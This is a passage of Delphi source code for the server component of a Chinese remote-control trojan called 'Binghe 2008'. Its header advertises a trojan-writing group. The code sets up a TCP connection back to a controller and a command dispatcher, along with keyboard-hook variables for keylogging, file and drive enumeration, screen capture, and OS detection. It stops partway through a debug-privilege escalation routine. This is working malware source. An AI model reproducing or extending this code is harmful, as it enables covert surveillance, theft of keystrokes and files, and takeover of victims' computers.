mainserve.pas

冰河2008远程控制迎奥运版,国内鼎鼎大名的老牌远控

unit mainserve;
{作者BLOG ALALMN JACK     http://hi.baidu.com/alalmn  
远程控制和木马编写群30096995   }
interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, IdAntiFreezeBase, IdAntiFreeze, IdBaseComponent, IdComponent,
  IdTCPConnection, IdTCPClient, ExtCtrls,TLHelp32, jpeg,ShellApi,
  IdHTTP,Registry;


const
  KeyMask = $80000000;

      cOsUnknown              : Integer = -1;
      cOsWin95                : Integer =  0;
      cOsWin98                : Integer =  1;
      cOsWin98SE              : Integer =  2;
      cOsWinME                : Integer =  3;
      cOsWinNT                : Integer =  4;
      cOsWin2000              : Integer =  5;
      cOsWhistler             : Integer =  6;

type
  TServerForm = class(TForm)
    IdTCPClient1: TIdTCPClient;
    IdAntiFreeze1: TIdAntiFreeze;    //未完成時按任和鍵 都不會動作 就好像當機一樣若加入 IdAntiFreeze元件 就不會了
    Timer1: TTimer;
    IdHTTP1: TIdHTTP;
    procedure Timer1Timer(Sender: TObject);
    function ConRpcport(BThread: TIdTCPClient):Boolean;
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure IdTCPClient1Disconnected(Sender: TObject);
  private
    { Private declarations }
  public

     procedure SendStreamToClient(AThread: TIdTCPClient;Cmd,TempStr:String); //消息的接收
     procedure ZhiXingCmd(var StrTmpList:TStringList);   //文件路径和系统信息
     procedure ReadMe;     //自述
    { Public declarations }
  end;



TClientHandleThread = class(TThread)   //接收线程类  接收线程单元
                         private
                           CommandStr:String;
                           procedure HandleInput;
                         protected
                           procedure Execute; override;
                         Public
                           constructor Create;
                           destructor Destroy; override;
                        end;

//const httpurl='http://duguxike.yeah.net/                                  ';

var
  ServerForm: TServerForm;
  ThreadID:array [0..100] of Dword;
  H:THandle;
  II:DWord;
  allhwnd:array [0..100] of hwnd;
  ClientHandleThread: TClientHandleThread;
  LogHook: HHook = 0;
  hookkey:String;
  LastFocusWnd: HWnd = 0;
  PrvChar: Char;
  HookList: TStringList;
  Myipstr:string;
  Servername,httpurl:string;
implementation

{$R *.dfm}

procedure TServerForm.SendStreamToClient(AThread: TIdTCPClient;Cmd,TempStr:String);
var
  MyStream: TMemoryStream;
  i:integer;
begin
    Try
       if not AThread.Connected then exit;
       MyStream:=TMemoryStream.Create;
       AThread.Writeln(Cmd);
       MyStream.Write(TempStr[1],Length(TempStr));
       MyStream.Position:=0;
       i:=MyStream.size;
       AThread.WriteInteger(i);
       AThread.WriteStream(MyStream);
       MyStream.Free;
     Except
       AThread.Disconnect;
       MyStream.Free;
     end;
end;

procedure TServerForm.ZhiXingCmd(var StrTmpList:TStringList);
var
Request:string;
begin
 if StrTmpList[1]='002' then   {路径列表}
   begin
       Request:='';//FindFile(StrTmpList[2]);
       SendStreamToClient(IdTCPClient1,'002',Request);
     Exit;
   end;
  if StrTmpList[1]='021' then
  begin  {系统信息}
     Request:='';//SystemXingxi;
     SendStreamToClient(IdTCPClient1,'007',Request);
     Exit;
  end;

end;

function FindFile(Path: string): string; {搜索文件夹和文件}
var
 Sr: TSearchRec;
  CommaList: TStringList;
  s: string;
  dt: TDateTime;
begin
  commalist := Tstringlist.Create;
  try
    Findfirst(path + '*.*', faAnyFile, sr);
    if ((Sr.Attr and faDirectory) > 0) and (Sr.Name <> '.') then
    begin
      dt := FileDateToDateTime(sr.Time);
      s := FormatDateTime('yyyy-mm-dd hh:nn', dt);
      commalist.add('*' + s + sr.name);
    end;
    while findnext(sr) = 0 do
    begin
      if ((Sr.Attr and faDirectory) > 0) and (Sr.Name <> '..') then
      begin
        dt := FileDateToDateTime(sr.Time);
        s := FormatDateTime('yyyy-mm-dd hh:nn', dt);
        commalist.add('*' + s + sr.name);
      end;
    end;
    FindClose(sr);
    FindFirst(path + '*.*', faArchive + faReadOnly + faHidden + faSysFile, Sr);
    if Sr.Attr <> faDirectory then
    begin
      dt := FileDateToDateTime(sr.Time);
      s := FormatDateTime('yyyy-mm-dd hh:nn', dt);
      commalist.add('\' + s+ Format('%.0n', [sr.Size / 1]) + '|' + sr.name);
    end; //Inttostr(
    while findnext(sr) = 0 do
    begin
      if (sr.Attr <> faDirectory) then
      begin
        dt := FileDateToDateTime(sr.Time);
        s := FormatDateTime('yyyy-mm-dd hh:nn', dt);
        commalist.add('\' + s +Format('%.0n', [sr.Size / 1]) + '|' + sr.name);
      end;
    end;
    FindClose(Sr);
  except
  end;
  Result := commalist.Text;     //Result是消息的 定义
  commalist.Free;
end;

function GetFileName(FileName: string): string; {从路径中分离文件名}
var Contador: integer;
begin
  Contador := 1;
  while Copy(FileName, Length(FileName) - Contador, 1) <> '\' do
  begin
    Contador := Contador + 1;
  end;
  Result := (Copy(FileName, Length(FileName) - Contador + 1, Length(FileName)));
end;

function GetFilepath(FileName: string): string; {从全路径中分离路径,有'\'}
var Contador: integer;
begin
  Contador := 1;
  while Copy(FileName, Length(FileName) - Contador, 1) <> '\' do
  begin
    Contador := Contador + 1;
  end;
  Result := (Copy(FileName, 1, Length(FileName) - Contador));
end;

function DiskInDrive(Drive: Char): Boolean;
var ErrorMode: word;
begin
  if Drive in ['a'..'z'] then Dec(Drive, $20);
  if not (Drive in ['A'..'Z']) then
  begin
    Result := False;
    Exit;
  end;
  ErrorMode := SetErrorMode(SEM_FailCriticalErrors);
  try
    if DiskSize(Ord(Drive) - $40) = -1 then
      Result := False
    else
      Result := True;
  finally
    SetErrorMode(ErrorMode);
  end;
end;

procedure GetDrivernum(var DiskList: TStringList);
var
  i: Char;
  AChar: array[1..3] of char;
  j: integer;
  drv: PChar;
begin
  for i := 'C' to 'Z' do
  begin
    if DiskInDrive(i) then
    begin
      AChar[1] := i;
      AChar[2] := ':';
      AChar[3] := #0;
      drv := @AChar;
      J := GetDriveType(drv);
      if J = DRIVE_REMOVABLE then
        DiskList.Add(i + ':4'); //(软盘)
      if J = DRIVE_FIXED then
        DiskList.Add(i + ':1'); //(硬盘)
      if J = DRIVE_REMOTE then
        DiskList.Add(i + ':3'); //(网络映射)
      if J = DRIVE_CDROM then
        DiskList.Add(i + ':2'); //(光盘)
      if J = DRIVE_RAMDISK then
        DiskList.Add(i + ':4'); // (虚拟盘)
      if J = DRIVE_UNKNOWN then
        DiskList.Add(i + ':4'); // (未知盘)
    end;
  end;
end;

procedure My_GetScreenToBmp(DrawCur:Boolean;StreamName:TMemoryStream);
var
Mybmp:Tbitmap;
Cursorx, Cursory: integer;
dc: hdc;
Mycan: Tcanvas;
R: TRect;
DrawPos: TPoint;
MyCursor: TIcon;
hld: hwnd;
Threadld: dword;
mp: tpoint;
pIconInfo: TIconInfo;
begin
Mybmp := Tbitmap.Create; {建立BMPMAP }
Mycan := TCanvas.Create; {屏幕截取}
dc := GetWindowDC(0);
try
Mycan.Handle := dc;
R := Rect(0, 0,  Screen.Width,Screen.Height{GetSystemMetrics(SM_CXSCREEN), GetSystemMetrics(SM_CYSCREEN)});
Mybmp.Width := R.Right;
Mybmp.Height := R.Bottom;
Mybmp.Canvas.CopyRect(R, Mycan, R);
finally
releaseDC(0, DC);
end;
Mycan.Handle := 0;
Mycan.Free;

if DrawCur then {画上鼠标图象}
begin
GetCursorPos(DrawPos);
MyCursor := TIcon.Create;
getcursorpos(mp);
hld := WindowFromPoint(mp);
Threadld := GetWindowThreadProcessId(hld, nil);
AttachThreadInput(GetCurrentThreadId, Threadld, True);
MyCursor.Handle := Getcursor();
AttachThreadInput(GetCurrentThreadId, threadld, False);
GetIconInfo(Mycursor.Handle, pIconInfo);
cursorx := DrawPos.x - round(pIconInfo.xHotspot);
cursory := DrawPos.y - round(pIconInfo.yHotspot);
Mybmp.Canvas.Draw(cursorx, cursory, MyCursor); {画上鼠标}
DeleteObject(pIconInfo.hbmColor);{GetIconInfo 使用时创建了两个bitmap对象. 需要手工释放这两个对象}
DeleteObject(pIconInfo.hbmMask);{否则,调用他后,他会创建一个bitmap,多次调用会产生多个,直至资源耗尽}
Mycursor.ReleaseHandle; {释放数组内存}
MyCursor.Free; {释放鼠标指针}
end;
Mybmp.PixelFormat:=pf8bit;  //256色
//Mybmp.SaveToFile(Filename);
Mybmp.SaveToStream(StreamName);
Mybmp.Free;
end;

Function GetOSVersion : Integer;
 Var
      osVerInfo          : TOSVersionInfo;
      majorVer, minorVer : Integer;
Begin
      Result := cOsUnknown;
      osVerInfo.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
      If ( GetVersionEx(osVerInfo) ) Then Begin
          majorVer := osVerInfo.dwMajorVersion;
          minorVer := osVerInfo.dwMinorVersion;
          Case ( osVerInfo.dwPlatformId ) Of
              VER_PLATFORM_WIN32_NT : { Windows NT/2000 }
                  Begin
                      If ( majorVer <= 4 ) Then
                          Result := cOsWinNT
                      Else
                          If ( ( majorVer = 5 ) And ( minorVer= 0 ) ) Then
                              Result := cOsWin2000
                          Else
                              If ( ( majorVer = 5) And ( minorVer = 1 ) ) Then
                                  Result := cOsWhistler
                              Else
                                  Result := cOsUnknown;
                  End;
              VER_PLATFORM_WIN32_WINDOWS :  { Windows 9x/ME }
                  Begin
                      If ( ( majorVer = 4 ) And ( minorVer = 0 ) ) Then
                          Result := cOsWin95
                      Else If ( ( majorVer = 4 ) And ( minorVer = 10 ) ) Then Begin
                          If ( osVerInfo.szCSDVersion[ 1 ] = 'A' ) Then
                              Result := cOsWin98SE
                          Else
                              Result := cOsWin98;
                      End Else If ( ( majorVer = 4) And ( minorVer = 90 ) ) Then
                          Result := cOsWinME
                      Else
                          Result := cOsUnknown;
                  End;
          Else
              Result := cOsUnknown;
          End;
      End Else
          Result := cOsUnknown;
  End;

  Function GetOSName( OSCode : Integer ) : String;
  Begin
      If ( OSCode = cOsUnknown ) Then
          Result := 'Microsoft Unknown'
      Else If ( OSCode = cOsWin95 ) Then
          Result := 'Windows 95'
      Else If ( OSCode = cOsWin98 ) Then
          Result := 'Windows 98'
      Else If ( OSCode = cOsWin98SE ) Then
          Result := 'Windows 98 SE'
      Else If ( OSCode = cOsWinME ) Then
          Result := 'Windows ME'
      Else If ( OSCode = cOsWinNT ) Then
          Result := 'Windows NT'
      Else If ( OSCode = cOsWin2000 ) Then
          Result := 'Windows 2000 / NT 5'
      Else
          Result := 'Windows XP / Other';
  End;



function EnableDebugPrivilege: Boolean;
  function EnablePrivilege(hToken: Cardinal; PrivName: string; bEnable: Boolean): Boolean;
  var
    TP: TOKEN_PRIVILEGES;
    Dummy: Cardinal;